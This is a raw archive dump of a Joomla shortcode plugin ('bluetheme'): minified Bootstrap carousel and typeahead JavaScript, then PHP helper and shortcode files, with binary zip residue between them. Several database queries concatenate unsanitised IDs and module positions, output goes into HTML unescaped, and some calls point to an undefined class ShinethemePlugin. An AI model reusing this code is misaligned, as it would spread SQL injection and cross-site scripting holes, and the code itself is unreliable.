c=a(this),d,e=a(c.attr("data-target")||(d=c.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),c.data()),g;e.carousel(f),(g=c.attr("data-slide-to"))&&e.data("carousel").pause().to(g).cycle(),b.preventDefault()})}(window.jQuery),!function(a){var b=function(b,c){this.$element=a(b),this.options=a.extend({},a.fn.typeahead.defaults,c),this.matcher=this.options.matcher||this.matcher,this.sorter=this.options.sorter||this.sorter,this.highlighter=this.options.highlighter||this.highlighter,this.updater=this.options.updater||this.updater,this.source=this.options.source,this.$menu=a(this.options.menu),this.shown=!1,this.listen()};b.prototype={constructor:b,select:function(){var a=this.$menu.find(".active").attr("data-value");return this.$element.val(this.updater(a)).change(),this.hide()},updater:function(a){return a},show:function(){var b=a.extend({},this.$element.position(),{height:this.$element[0].offsetHeight});return this.$menu.insertAfter(this.$element).css({top:b.top+b.height,left:b.left}).show(),this.shown=!0,this},hide:function(){return this.$menu.hide(),this.shown=!1,this},lookup:function(b){var c;return this.query=this.$element.val(),!this.query||this.query.length<this.options.minLength?this.shown?this.hide():this:(c=a.isFunction(this.source)?this.source(this.query,a.proxy(this.process,this)):this.source,c?this.process(c):this)},process:function(b){var c=this;return b=a.grep(b,function(a){return c.matcher(a)}),b=this.sorter(b),b.length?this.render(b.slice(0,this.options.items)).show():this.shown?this.hide():this},matcher:function(a){return~a.toLowerCase().indexOf(this.query.toLowerCase())},sorter:function(a){var b=[],c=[],d=[],e;while(e=a.shift())e.toLowerCase().indexOf(this.query.toLowerCase())?~e.indexOf(this.query)?c.push(e):d.push(e):b.push(e);return b.concat(c,d)},highlighter:function(a){var b=this.query.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&");return a.replace(new RegExp("("+b+")","ig"),function(a,b){return"<strong>"+b+"</strong>"})},render:function(b){var c=this;return b=a(b).map(function(b,d){return b=a(c.options.item).attr("data-value",d),b.find("a").html(c.highlighter(d)),b[0]}),b.first().addClass("active"),this.$menu.html(b),this},next:function(b){var c=this.$menu.find(".active").removeClass("active"),d=c.next();d.length||(d=a(this.$menu.find("li")[0])),d.addClass("active")},prev:function(a){var b=this.$menu.find(".active").removeClass("active"),c=b.prev();c.length||(c=this.$menu.find("li").last()),c.addClass("active")},listen:function(){this.$element.on("focus",a.proxy(this.focus,this)).on("blur",a.proxy(this.blur,this)).on("keypress",a.proxy(this.keypress,this)).on("keyup",a.proxy(this.keyup,this)),this.eventSupported("keydown")&&this.$element.on("keydown",a.proxy(this.keydown,this)),this.$menu.on("click",a.proxy(this.click,this)).on("mouseenter","li",a.proxy(this.mouseenter,this)).on("mouseleave","li",a.proxy(this.mouseleave,this))},eventSupported:function(a){var b=a in this.$element;return b||(this.$element.setAttribute(a,"return;"),b=typeof this.$element[a]=="function"),b},move:function(a){if(!this.shown)return;switch(a.keyCode){case 9:case 13:case 27:a.preventDefault();break;case 38:a.preventDefault(),this.prev();break;case 40:a.preventDefault(),this.next()}a.stopPropagation()},keydown:function(b){this.suppressKeyPressRepeat=~a.inArray(b.keyCode,[40,38,9,13,27]),this.move(b)},keypress:function(a){if(this.suppressKeyPressRepeat)return;this.move(a)},keyup:function(a){switch(a.keyCode){case 40:case 38:case 16:case 17:case 18:break;case 9:case 13:if(!this.shown)return;this.select();break;case 27:if(!this.shown)return;this.hide();break;default:this.lookup()}a.stopPropagation(),a.preventDefault()},focus:function(a){this.focused=!0},blur:function(a){this.focused=!1,!this.mousedover&&this.shown&&this.hide()},click:function(a){a.stopPropagation(),a.preventDefault(),this.select(),this.$element.focus()},mouseenter:function(b){this.mousedover=!0,this.$menu.find(".active").removeClass("active"),a(b.currentTarget).addClass("active")},mouseleave:function(a){this.mousedover=!1,!this.focused&&this.shown&&this.hide()}};var c=a.fn.typeahead;a.fn.typeahead=function(c){return this.each(function(){var d=a(this),e=d.data("typeahead"),f=typeof c=="object"&&c;e||d.data("typeahead",e=new b(this,f)),typeof c=="string"&&e[c]()})},a.fn.typeahead.defaults={source:[],items:8,menu:'<ul class="typeahead dropdown-menu"></ul>',item:'<li><a href="#"></a></li>',minLength:1},a.fn.typeahead.Constructor=b,a.fn.typeahead.noConflict=function(){return a.fn.typeahead=c,this},a(document).on("focus.typeahead.data-api",'[data-provide="typeahead"]',function(b){var c=a(this);if(c.data("typeahead"))return;c.typeahead(c.data())})}(window.jQuery)PK!ڼ#D?D?$bluetheme/assets/includes/common.phpnu&1i�<?php
/**
 * @package Shortcodes for Joomla! 3
 * @author http://www.bluetheme.com
 * @copyright(C) 2013- bluetheme.com
 * @license PHP files are GNU/GPL
**/

defined('_JEXEC') or die('Restricted access');

$shortcode_tags = array();


function add_shortcode($tag, $func) {
	global $shortcode_tags;
	if(is_callable($func))
		$shortcode_tags[$tag] = $func;
}


function remove_shortcode($tag) {
	global $shortcode_tags;
	unset($shortcode_tags[$tag]);
}


function remove_all_shortcodes() {
	global $shortcode_tags;

	$shortcode_tags = array();
}
function config_shortcode($config){
	global $st_config;
	$st_config = $config;
}

function do_shortcode($content) {
	global $shortcode_tags;

	if(empty($shortcode_tags) || !is_array($shortcode_tags))
		return urldecode($content) ;

	$pattern = get_shortcode_regex();

	return urldecode(preg_replace_callback('/' . $pattern . '/s', 'do_shortcode_tag', $content));
}


function get_shortcode_regex() {
	global $shortcode_tags;
	$tagnames  = array_keys($shortcode_tags);
	$tagregexp = join('|', array_map('preg_quote', $tagnames));
	// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcodes()
	return '(.?)\[('.$tagregexp.')\b(.*?)(?:(\/))?\](?:(.+?)\[\/\2\])?(.?)';
}


function do_shortcode_tag($m) {
	global $shortcode_tags;

	// allow [[foo]] syntax for escaping a tag
	if($m[1] == '[' && $m[6] == ']') {
		return substr($m[0], 1, -1);
	}

	$tag = $m[2];
	$attr = shortcode_parse_atts($m[3]);

	if(isset($m[5])) {
		// enclosing tag - extra parameter
		return $m[1] . call_user_func($shortcode_tags[$tag], $attr, $m[5], $tag) . $m[6];
	}
	else {
		// self-closing tag
		return $m[1] . call_user_func($shortcode_tags[$tag], $attr, NULL,  $tag) . $m[6];
	}
}


function shortcode_parse_atts($text) {
	$atts    = array();
	$pattern = '/(\w+)\s*=\s*"([^"]*)"(?:\s|$)|(\w+)\s*=\s*\'([^\']*)\'(?:\s|$)|(\w+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|(\S+)(?:\s|$)/';
	$text    = preg_replace("/[\x{00a0}\x{200b}]+/u", " ", $text);
	if(preg_match_all($pattern, $text, $match, PREG_SET_ORDER)) {
		foreach($match as $m) {
			if(!empty($m[1]))
				$atts[strtolower($m[1])] = stripcslashes($m[2]);
			elseif(!empty($m[3]))
				$atts[strtolower($m[3])] = stripcslashes($m[4]);
			elseif(!empty($m[5]))
				$atts[strtolower($m[5])] = stripcslashes($m[6]);
			elseif(isset($m[7]) and strlen($m[7]))
				$atts[] = stripcslashes($m[7]);
			elseif(isset($m[8]))
				$atts[] = stripcslashes($m[8]);
		}
	}
	else {
		$atts = ltrim($text);
	}
	return $atts;
}


function shortcode_atts($pairs, $atts) {
	$atts =(array)$atts;
	$out  = array();
	foreach($pairs as $name => $default) {
		if(array_key_exists($name, $atts))
			$out[$name] = $atts[$name];
		else
			$out[$name] = $default;
	}
	return $out;
}


function strip_shortcodes($content) {
	global $shortcode_tags;

	if(empty($shortcode_tags) || !is_array($shortcode_tags))
		return $content;

	$pattern = get_shortcode_regex();

	return preg_replace('/' . $pattern . '/s', '$1$6', $content);
}


class BluethemePlugin
{
	public $doc=null;
	private $version="";
	public function __construct(){
		$this->doc = JFactory::getDocument();
		$arr = explode('.',JVERSION);
		$this->version = $arr[0];
	}

	public static function includeShortcode(){
		jimport( 'joomla.filesystem.folder' );
		jimport( 'joomla.filesystem.file' );
		if(JRequest::getVar('option')=='com_blue_pagebuilder'){
			$src = JPATH_PLUGINS . "/system/bluetheme/assets/shortcode";
			$lists = JFolder::files($src);
			foreach($lists as $f){
				if(JFile::getExt($f)=='php'){
					require_once($src.'/'.$f);
				}
			}
		}else{
			require_once(JPATH_PLUGINS . "/system/bluetheme/assets/includes/allshortcodes.php");
		}
	}

	public static function addTemplate($file){
		jimport( 'joomla.filesystem.file' );
		$tpl 		= JFactory::getApplication()->getTemplate();
		$src 		= JPATH_BASE.'/templates/'.$tpl.'/html/st_template/'.$file.'.php';
		$srcbase 	= JPATH_PLUGINS . "/system/bluetheme/assets/st_template/".$file.'.php';
		if(JFile::exists($src)){
			return array("check"=>true,"src"=>$src);
		}else if(JFile::exists($srcbase)){
			return array("check"=>true,"src"=>$srcbase);
		}else{
			return array("check"=>false,"src"=>"");
		}
	}

	public function checkSidebar(){
		$app        = JFactory::getApplication();
		$template   = $app->getTemplate(true);
		$params     = $template->params;
		return $params->get('type');
	}

	public function getContentRecent($id=0,$limit='ALL'){
		$db =  JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.state=1');
		if($id!=0){
			$where[]='catid='.$id;
		}
		$query 		->select('a.id,a.title,a.alias,a.catid,a.introtext,a.created,a.images,b.alias AS categoryalias')
					->from('#__content AS a')
					->join('INNER','#__categories AS b ON (a.catid = b.id)')
					->where($where)
					->order('created DESC');
		$db->setQuery($query,0,$limit);
		return $db->loadObjectList();
	}

	public function getContentById($id){
		$db =  JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.state=1','a.id='.$id);
		$query 		->select('a.id,a.title,a.alias,a.catid,a.introtext,a.images,b.alias AS categoryalias')
					->from('#__content AS a')
					->join('INNER','#__categories AS b ON (a.catid = b.id)')
					->where($where);
		$db->setQuery($query);
		return $db->loadObject();
	}

	public function isImagesContent($array){
		$array = json_decode($array);
		if($array->image_intro==''){
			return false;
		}
		return true;
	}
    public static function getK2Items($id) {
        
        $db = JFactory::getDBo();
        $query = $db->getQuery(true);
        $query->select('i.*')
            ->from('#__k2_items as i')
            ->where('i.id ='.(int)$id)
            ->where('i.published=1');
        return $db->setQuery($query)->loadObject();
            
        
    }
	public function getImageContent($array){
		return json_decode($array)->image_intro;
	}

	public function getContentlink($item){
		require_once (JPATH_SITE.'/components/com_content/helpers/route.php');
		return JRoute::_(ContentHelperRoute::getArticleRoute($item->id.':'.$item->alias, $item->categoryalias));
	}


	public function getK2Recent($id=0,$limit="ALL", $order ='created',$direction='ASC'){
		$db =  JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.published=1','a.trash=0');
		if($id!=0){
			$where[]='catid='.$id;
		}
		$query 		->select('a.video,a.id,a.title,a.hits,a.alias,a.catid,a.introtext,a.extra_fields,a.created,a.ordering,a.created_by AS created_by,b.name AS catname,b.alias AS categoryalias')
					->from('#__k2_items AS a')
					->join('INNER', '#__k2_categories AS b ON (a.catid = b.id)')
					->where($where)
					->order($order.' '.$direction);
		$db->setQuery($query,0,$limit);

		return $db->loadObjectList();
	}

	public function getK2byId($id){
		$db =  JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.published=1','a.id='.$id);
		$query 		->select('a.id,a.title,a.alias,a.catid,a.extra_fields,a.introtext,b.alias AS categoryalias')
					->from('#__k2_items AS a')
					->join('INNER','#__k2_categories AS b ON (a.catid = b.id)')
					->where($where);
		$db->setQuery($query);
		return $db->loadObject();

	}

	public function getK2Author($id){
		$db =  JFactory::getDbo();
		$query=$db->getQuery(true);
		$where = array('a.id='.$id);
		$query 		->select('a.name as name')
					->from('#__users AS a')
					->where($where);
		$db->setQuery($query);
		return $db->loadObject();

	}

	public function getImageK2($id,$size='XS'){
		return JURI::root().'media/k2/items/cache/'.md5("Image".$id).'_'.$size.'.jpg';
	}

	public function isImagesK2($id){
		jimport('joomla.filesystem.file') ;
		if(!JFile::exists(JPATH_SITE.'/media/k2/items/cache/'.md5("Image".$id).'_XS.jpg')){
			return false;
		}else{
			return true;
		}
	}

	public function getRoutePageBuilder($id){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('extension_id')->from('#__extensions')->where("element='com_blue_pagebuilder'");
		$db->setQuery($query);
		$extenid = $db->loadResult();

		$query= $db->getQuery(true);
		$query->select('id,params')->from('#__menu')->where("component_id=".$extenid." and published = 1");
		$db->setQuery($query);
		$items = $db->loadObjectList();
		$menuid = 0;
		foreach ($items as $key => $item) {
			if(json_decode($item->params)->designid == $id){
				$menuid=$item->id;
				break;
			}
		}
		if($menuid!=0){
			return JRoute::_('index.php?option=com_blue_pagebuilder&view=page&Itemid='.$menuid);
		}else{
			return JRoute::_('index.php?option=com_blue_pagebuilder&view=page&id='.$id);
		}
	}

	public function getK2link($id,$alias,$catid,$categoryalias){
		require_once (JPATH_SITE.'/components/com_k2/helpers/route.php');
		return urldecode(JRoute::_(K2HelperRoute::getItemRoute($id.':'.urlencode($alias), $catid.':'.urlencode($categoryalias))));
	}

	public function loadModule($position,$count=0,$style="none"){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select("*")->from("#__modules")->where('position=\''.$position.'\'');
		$db->setQuery($query);
		$result = $db->loadObjectList();
		if(count($result)==1){
			$title = $result[0]->title;
			$mod = $result[0]->module;
		}else{
			$title = $result[$count]->title;
			$mod = $result[$count]->module;
		}
		$module = JModuleHelper::getModule( $mod, $title );
		$attribs['style'] = $style;
		return JModuleHelper::renderModule( $module,$attribs);
	}

	public function loadModuleId($id){
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select("*")->from("#__modules")->where('id=\''.$id.'\'');
		$db->setQuery($query);
		$result = $db->loadObject();
		$title = $result->title;
		$mod = $result->module;
		$module = JModuleHelper::getModule( $mod, $title );
		$module->content = JModuleHelper::renderModule( $module,array('style'=>'none'));
		return $module;
		//return JModuleHelper::renderModule( $module );
	}

    public function getk2Category($id=0,$limit="ALL", $order = 'created'){
        $db =  JFactory::getDbo();
        $query=$db->getQuery(true);
        $where = array('a.published=1','a.trash=0');
        if($id!=0){
            $where[]='catid='.$id;
        }
        $order .=' ASC';
        $query 		->select('a.video,a.id,a.title,a.alias,a.extra_fields,a.introtext,a.catid,b.name as c_name')
           ->select('a.created,a.created_by_alias,a.ordering')
            ->from('#__k2_items AS a')
            ->join('INNER', '#__k2_categories AS b ON (a.catid = b.id)')
            ->where($where)
            ->order($order);
        $db->setQuery($query,0,$limit);


        return $db->loadObjectList();
    }

    public function getK2SubCategories($id=0,$limit="ALL"){
        $db =  JFactory::getDbo();
        $query=$db->getQuery(true);
        $where = array('a.published=1');
        if((int)$id!=0){
            $where[]='a.parent='.(int)$id;
        }
        $query 		->select('a.video,a.id,a.name,a.alias,a.description,a.parent,a.extraFieldsGroup')
            ->from('#__k2_categories AS a')
            ->where($where)
            ->order('a.ordering ASC');
        $db->setQuery($query,0,$limit);

        return $db->loadObjectList();
    }

    public static function getK2Cat($catid=0){
        $db =  JFactory::getDbo();
        $query=$db->getQuery(true);
        //$where = array('a.id=1');
        if((int)$catid!=0){
            $where ='a.id='.(int)$catid;
        }
        $query 		->select('a.id,a.name,a.alias,a.description')
            ->from('#__k2_categories AS a')
            ->where($where)
            ->order('a.ordering ASC');
        $db->setQuery($query,0,1);

        return $db->loadObject();
    }
	
	public static function getExtraFields($id) {
        $db = JFactory::getDBo();
        $query = $db->getQuery(true);
        $query->select ('*')
            ->from('#__k2_extra_fields as i')
            ->where('i.id ='.(int)$id);
        $db->setQuery($query);
        return $db->loadObject();
    }
    
}
class FileManager{
    
    function __construct(){
        
    }
    //get list files 
     public static function read_File($direction,$root){
        
        $dir = opendir($root.$direction);
        $files =  array();
        while (($file = readdir($dir)) !== false){
            
            $files[] = $file;
        }
        closedir($dir);
        return $files;
    }
    // read files information
     public static function read_infor_file($direction, $root){
        
        $fileList = $this->read_File($direction,$root);
        $infor = array();
        foreach($fileList as $k=>$file){
            
            $infor[$k]['root'] = $root;
            $infor[$k]['direction'] = $direction;
            $infor[$k]['name'] = $file;
            $infor[$k]['type'] = filetype($root.$direction.'\\'.$file);
            $infor[$k]['modified'] = date('F d i H:i:s',filemtime($root.$direction.'\\'.$file));
            if (is_file($direction.'\\'.$file))
                $infor[$k]['size'] = filesize($root.$direction.'/'.$file).' Byte';
            else $infor[$k]['size'] = '-';
        }
        return $infor;
    }
     /**
        * Get images
        * 
        * @param string $key
        */
        public static function resizeImgThumb($img,$thumb_w,$thumb_h,$folder_thumb,$key){
            if (FileManager::checkImage(JPATH_ROOT.'/'.$img)){
                JFolder::create(JPATH_ROOT.'/'.$folder_thumb);
            }else{
                return '';
            }
            FileManager::load(JPATH_ROOT.'/'.$img);
            FileManager::resize($thumb_w,$thumb_h,0,0,0,0);
            FileManager::save(JPATH_ROOT.'/'.$folder_thumb.$key.'.jpg');
            return $folder_thumb.$key.'.jpg';
        }/**
        * checkImage
        * 
        * @return boolean
        */
        public static function  checkImage($path) {
            if (JFile::exists($path)){
                $img_infor = getimagesize($path);
                $image_type = $img_infor[2];
                if(in_array($image_type , array(IMAGETYPE_GIF , IMAGETYPE_JPEG ,IMAGETYPE_PNG , IMAGETYPE_BMP)))
                {
                    return true;
                }
            }
            
            return false;
        
        }
    public static $image;
    public static $image_type;
    public static $width;
    public static $height;
     public static function load($filename) {
        
        $image_info = getimagesize($filename);
        FileManager::$image_type = $image_info[2];
        FileManager::$width = $image_info[0];
        FileManager::$height = $image_info[1];
        if( FileManager::$image_type == IMAGETYPE_JPEG ) {
            
            FileManager::$image = imagecreatefromjpeg($filename);
            
        } elseif( FileManager::$image_type == IMAGETYPE_GIF ) {
            
            FileManager::$image = imagecreatefromgif($filename);
        } elseif( FileManager::$image_type == IMAGETYPE_PNG ) {
            
            FileManager::$image = imagecreatefrompng($filename);
        }
    }
     public static function save($filename, $image_type=IMAGETYPE_JPEG, $compression=75, $permissions=null) {
        
        if( $image_type == IMAGETYPE_JPEG ) {
            
            imagejpeg(FileManager::$image,$filename,$compression);
        } elseif( $image_type == IMAGETYPE_GIF ) {
            
            imagegif(FileManager::$image,$filename);
        } elseif( $image_type == IMAGETYPE_PNG ) {
            
            imagepng(FileManager::$image,$filename);
        }
        if( $permissions != null) {
            
            chmod($filename,$permissions);
        }
    }
     public static function getWidth() {
        
        return FileManager::$width;
    }
     public static function getHeight() {
        
        return FileManager::$height;
    }
    public static function resize($width,$height, $dst_x, $dst_y, $src_x, $src_y) {
        
        $new_image = imagecreatetruecolor($width, $height);
        imagecopyresampled($new_image, FileManager::$image, $dst_x, $dst_y, $src_x, $src_y, $width, $height, FileManager::getWidth(), FileManager::getHeight());
        FileManager::$image = $new_image;
    }
}   
PK!.���99$bluetheme/assets/includes/index.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Untitled Document</title>
</head>

<body>
</body>
</html>
PK!p��.�[�[+bluetheme/assets/includes/allshortcodes.phpnu&1i�<?php
add_shortcode('gmap','geomapShortcode');
function geomapShortcode($atts, $content=null){
	extract(shortcode_atts(array(
		"class" => 'st-map_canvas', 
		"latitude"=>'21.038204',   // vi do
		"longitude"=>'105.851011',   // kinh do
		"location"=>'hanoi',
		"zoom"=>'14',
		"bound"=>'true',
		"maptype"=>'roadmap',
		"scroll"=>'false',
		"drag"=>'false'
	),$atts));
 	return "comming soon!";
}

add_shortcode('slider','sliderShortcode');
function sliderShortcode($atts, $content=null){
	extract(shortcode_atts(array(
		),$atts));

	global $st_config;
    $id = rand();
    global $ig_new_array;
    $ig_new_array = array();
    do_shortcode($content);
    $slider ='<div class="carousel-box">';
		$slider.= '<div class="carousel-wrapper">';
			$slider.='<ul class="about-carousel clearfix">';
			foreach ($ig_new_array as $item){
				$slider.='<li><img src="'.trim($item['content']).'" class="img-responsive" alt="" style="width:100%;"></li>';
			}
			$slider.='</ul>';
			$slider.= '<div class="clearfix carousel-buttons">';
				$slider.='<a class="prev"><i class="icon-angle-left"></i></a>';
				$slider.='<a class="next"><i class="icon-angle-right"></i></a>';
			$slider.='</div>';
			$slider.='<div class="pagination bullets"></div>';
		$slider.='</div>';
	$slider.='</div>';
	return $slider;
}

add_shortcode('fb_likebox','fbShortcode');
function fbShortcode($atts, $content=null){
 extract(shortcode_atts(array(
   "width"=>'292',
   "height"=>'auto',
   "showfaces"=>'true',
   "showheader"=>'true',
   "showstream"=>'true',
   "showborder"=>'true',
   "colorscheme"=>'light',
   "language"=>'en_Us' 
  ), $atts));
 $doc=JFactory::getDocument();
 $js="(function(d, s, id) {
      var js, fjs = d.getElementsByTagName(s)[0];
      if (d.getElementById(id)) return;
      js = d.createElement(s); js.id = id;
      js.src = '//connect.facebook.net/".$language."/all.js#xfbml=1';
      fjs.parentNode.insertBefore(js, fjs);
    }(document, 'script', 'facebook-jssdk'));";
 $doc->addScriptDeclaration($js);
 $likebox = "<div id='fb-root'></div>";

 $likebox .= '<div class="fb-like-box" 
    data-href="'.trim($content).'"
    data-width="'.$width.'"
    data-height="'.$height.'"
    data-colorscheme="'.$colorscheme.'"
    data-show-faces="'.$showfaces.'"
    data-header="'.$showheader.'"
    data-stream="'.$showstream.'"
    data-show-border="'.$showborder.'"></div>';

 return $likebox;

}

add_shortcode('flickr','flickrShortcode');
function flickrShortcode($atts, $content=null){
	extract(shortcode_atts(array(
		"class" => '',
		"id"=>'100707032@N06',
		"limit"=>'10',
		"width"=>'auto',
		"height"=>'auto' 
	),$atts));
	if(trim($limit)==''){
		$limit=10;
	}
	$idrandom = rand();
	$doc = JFactory::getDocument();
	$js="jQuery(document).ready(function(){
      		jQuery('#st-flickr-{$idrandom} ul').jflickrfeed({ 
				limit: $limit,
				qstrings: {
				  id: '$id'
				},
				useTemplate:false,
				itemCallback:function(item){
					jQuery(this).append('<li><a rel=\"example_group\" class=\"stgallery\" href=\"'+item.image_b+'\"><img src=\"'+item.image_s+'\" alt=\"{{title}}\" style=\"width:{$width}px;height:{$height}px\" /></a></li>');
				}
            });
     	});";
	$doc->addScriptDeclaration($js);
	$flickr = '<div class="st-flickr '.$class.'" id="st-flickr-'.$idrandom.'"><ul></ul></div>';
 	return $flickr;
}

add_shortcode('article_box','articleBoxShortcode');
function articleBoxShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "class" => '',
        "extension"=>'com_k2',
        "article_id"=>'0',
        "type"=>'outside'
    ), $atts));
    $st = new ShinethemePlugin();
    if($extension=='com_k2'){
		$item = $st->getK2byId($article_id);
		$linkimage = $st->getImageK2($item->id,"L");
		$linkimagefull = $st->getImageK2($item->id,"XL");
		$linkreadmore = $st->getK2link($item->id,$item->alias,$item->catid,$item->categoryalias);
	}else if($extension=='com_content'){
		$item = $st->getContentbyId($article_id);
		$linkimage = $linkimagefull = $st->getImageContent($item->images);
		$linkreadmore = $st->getContentlink($item);
	}else{
		return 'extension only support com_content or com_k2';
	}
	$article ='<div class="st-article-box '.$class.'">';
		$article .= '<div class="image">';
		if($type=='inside'){
			$article .= '<a href="'.$st->getK2link($item->id,$item->alias,$item->catid,$item->categoryalias).'">';
				$article .= '<img src="'.$linkimage.'" style="width:100%;" alt="">';
				$article .= '<div class="stmark-1">';
					$article .= '<h2>'.$item->title.'</h2>';
					$article .= do_shortcode($item->introtext);
					$article .= '<a href="'.$linkreadmore.'" class="st-button">Read More</a>';
				$article .= '</div>';
			$article .= '</a>';
			$article .= '</div>';
		}else{
				$article .= '<a href="'.$linkimagefull.'" class="stmodal">';
					$article .= '<img src="'.$linkimage.'" alt="" style="width:100%;">';
					$article .= '<div class="stmark"></div>';
				$article .= '</a>';
			$article .= '</div>';  // div.image
			$article .= '<h3>'.$item->title.'</h3>';
			$article .= do_shortcode($item->introtext);
			$article .= '<div class="readmore">';
				$article .= '<a class="st-button" href="'.$linkreadmore.'">Read More</a>';
			$article .= '</div>';
		}
	$article .='</div>';
	return $article;
}

add_shortcode('recent_article','recentArticleShortcode');
function recentArticleShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "class" => '',
        "title" => 'Test',
        "extension"=>'com_k2',
        "category_id"=>'0',
        "visible"=>'4',
        "scroll"=>'4',
        "auto"=>'0',
        "animation"=>'600',
        "limit"=>'5',
        "type"=>'inside',
        "style"=>"style-1"
    ), $atts));
    $id = rand();
	$st = new ShinethemePlugin();
	if($extension=='com_k2'){
		$items = $st->getK2Recent($category_id,$limit);
	}else if($extension=='com_content'){
		$items = $st->getContentRecent($category_id,$limit);
	}else{
		return 'extension only support com_content or com_k2';
	}
	$recen = '<div id="recentk2'.$id.'" class="recentk2">';
		$recen .= '<div class="row-fluid">';
		if($style=='style-1'){
			$recen .= '<div class="span3">';
				$recen .= '<span class="st-title st-style1">'.$title.'</span>';
				$recen .= '<p class="content">'.do_shortcode($content).'</p>';
				$recen .= '<div class="navigation">';
					$recen .= '<i class="icon-chevron-left"></i>';
					$recen .= '<i class="icon-chevron-right"></i>';
				$recen .= '</div>';
			$recen .= '</div>';
		}
		$cl = ($style=='style-1') ? "span9" : "span12";
			$recen .= '<div class="'.$cl.'">';
				$recen .= '<div class="row-fluid" id="st-carousel'.$id.'">';
					$recen .= '<ul id="portfolio_carousel'.$id.'" class="portfolio_carousel">';
					foreach($items as $key=>$item){
					if($extension=='com_k2'){
						$isImage  = $st->isImagesK2($item->id);
						$linkfull = $st->getImageK2($item->id,"XL");
						$linklage = $st->getImageK2($item->id,"L");
						$linkreadmore = $st->getK2link($item->id,$item->alias,$item->catid,$item->categoryalias);
					}else{
						$isImage  = $st->isImagesContent($item->images);
						$linkfull = $linklage = $st->getImageContent($item->images);
						$linkreadmore = $st->getContentlink($item);
					}
						$recen .= '<li class="portfolio_item">';
							$recen .= '<div class="st-carousel-content">';
								$recen .= '<div class="row-fluid">';
									$recen .= '<div class="span12">';
									if($type=='outside'){
										if($isImage){
											$recen .= '<div class="image no-text" style="width:90%;margin:0 auto;">';
													//$recen .= '<a href="'.$linkfull.'"  class="stmodal">';
													$recen .= '<img src="'.$linklage.'" alt=""/>';
													$recen .= '<div class="stlight"><a class="icon icon-zoom-in stmodal" href="'.$linkfull.'"></a></div>';
												
											//$recen .='</a>';
											$recen .= '</div>';
											
										}
											
											$recen .= '<h3>'.$item->title.'</h3>';
											$recen .= substr($item->introtext,0,20);
											$recen .= '<div class="readmore">';
												$recen .= '<a href="'.$linkreadmore.'" class="st-button">Read More</a>';
											$recen .= '</div>';
									}else{
										$recen .= '<div class="image" style="width:90%;margin:0 auto;">';
											$recen .= '<a href="'.$linkreadmore.'">';
												$recen .= '<img src="'.$linklage.'" alt="">';
												$recen .= '<div class="stmark-1">';
													$recen .= '<h2>'.$item->title.'</h2>';
													$recen .= '<p>'.substr($item->introtext,0,100).' ...</p>';
													$recen .= '<a href="'.$linkreadmore.'" class="st-button">Read More</a>';
												$recen .= '</div>';
											$recen .= '</a>';
										$recen .= '</div>';
									}
									$recen .= '</div>';
								$recen .= '</div>';
							$recen .= '</div>';
						$recen .= '</li>';
					}
					$recen .= '</ul>';
				$recen .= '</div>';
			$recen .= '</div>';
		$recen .= '</div>';
	if($style!='style-1'){
		$recen .= '<div class="no-descript">';
			$recen .= '<div class="row-fluid">';
				$recen .= '<div class="span5"></div>';
				$recen .= '<div class="span2">';
					$recen .= '<div class="navigation">';
						$recen .= '<i class="icon-chevron-left"></i>';
						$recen .= '<i class="icon-chevron-right"></i>';
					$recen .= '</div>';
				$recen .= '</div>';
				$recen .= '<div class="span5"></div>';
			$recen .= '</div>';
		$recen .= '</div>';
	}
	$recen .= '</div>';
	$js ="jQuery(document).ready(function() {
			var stwidth = jQuery('#st-carousel{$id} .portfolio_item').outerWidth(true);
			if(jQuery(window).width() > 767)
			{
				var stcontentwidth = stwidth/{$visible};
			}else{
				var stcontentwidth=stwidth;
			}
			jQuery('#st-carousel{$id} .st-carousel-content').css('width',stcontentwidth);
			jQuery('#portfolio_carousel{$id}').jcarousel({
				scroll: (jQuery(window).width() > 767 ? {$scroll} : 1),
				easing: 'easeInOutExpo',
				animation: {$animation},
				auto:{$auto},wrap:'last',
				visible:(jQuery(window).width() > 767 ? {$visible} : 1)
			});
			jQuery('#recentk2{$id} .icon-chevron-left').click(function(){
				jQuery('#recentk2{$id} .jcarousel-prev').click();
			});
			jQuery('#recentk2{$id} .icon-chevron-right').click(function(){
				jQuery('#recentk2{$id} .jcarousel-next').click();
			});
		});
		jQuery(window).resize(function() {
			var stwidth = jQuery('#st-carousel{$id}').width();
			if(jQuery(window).width() > 767){
				var stcontentwidth = stwidth/{$visible};
			}else{
				var stcontentwidth=stwidth;
			}
			jQuery('#st-carousel{$id} .st-carousel-content').css('width',stcontentwidth);
			var el = jQuery('#portfolio_carousel{$id}'); 
			carousel = el.data('jcarousel'); 
			win_width = jQuery(window).width();
			var visibleItems = (win_width > 767 ? {$visible} : 1);
			carousel.options.visible = visibleItems;
			carousel.options.scroll = (win_width > 767 ? {$scroll} : 1);carousel.reload(); 
		});";
	$st->doc->addScriptDeclaration($js);
	return $recen;
}


// Code
add_shortcode('code','codeShortcode');
function codeShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "class" => ''
    ), $atts));
    $code = "<h3 class='sc-getcode'>Get The Code:</h3><div class='st-code $class'>".$content."</div>";
    return $code;
}

// Divider
add_shortcode("divider", "dividerShortcode");
function dividerShortcode($atts,$content=null){
	extract(shortcode_atts(array(
        "class" => '',
        "style" => '',
        "margin"=> ''
    ), $atts));
    if($margin=='')
    	$divi = "<div class='st-divider $style $class'></div>";
    else
    	$divi ="<div class='st-divider $style $class' style='margin:{$margin}px 0;'></div>";
    return $divi;
}

// popup media
add_shortcode("media_popup","mediaPopupShortcode");
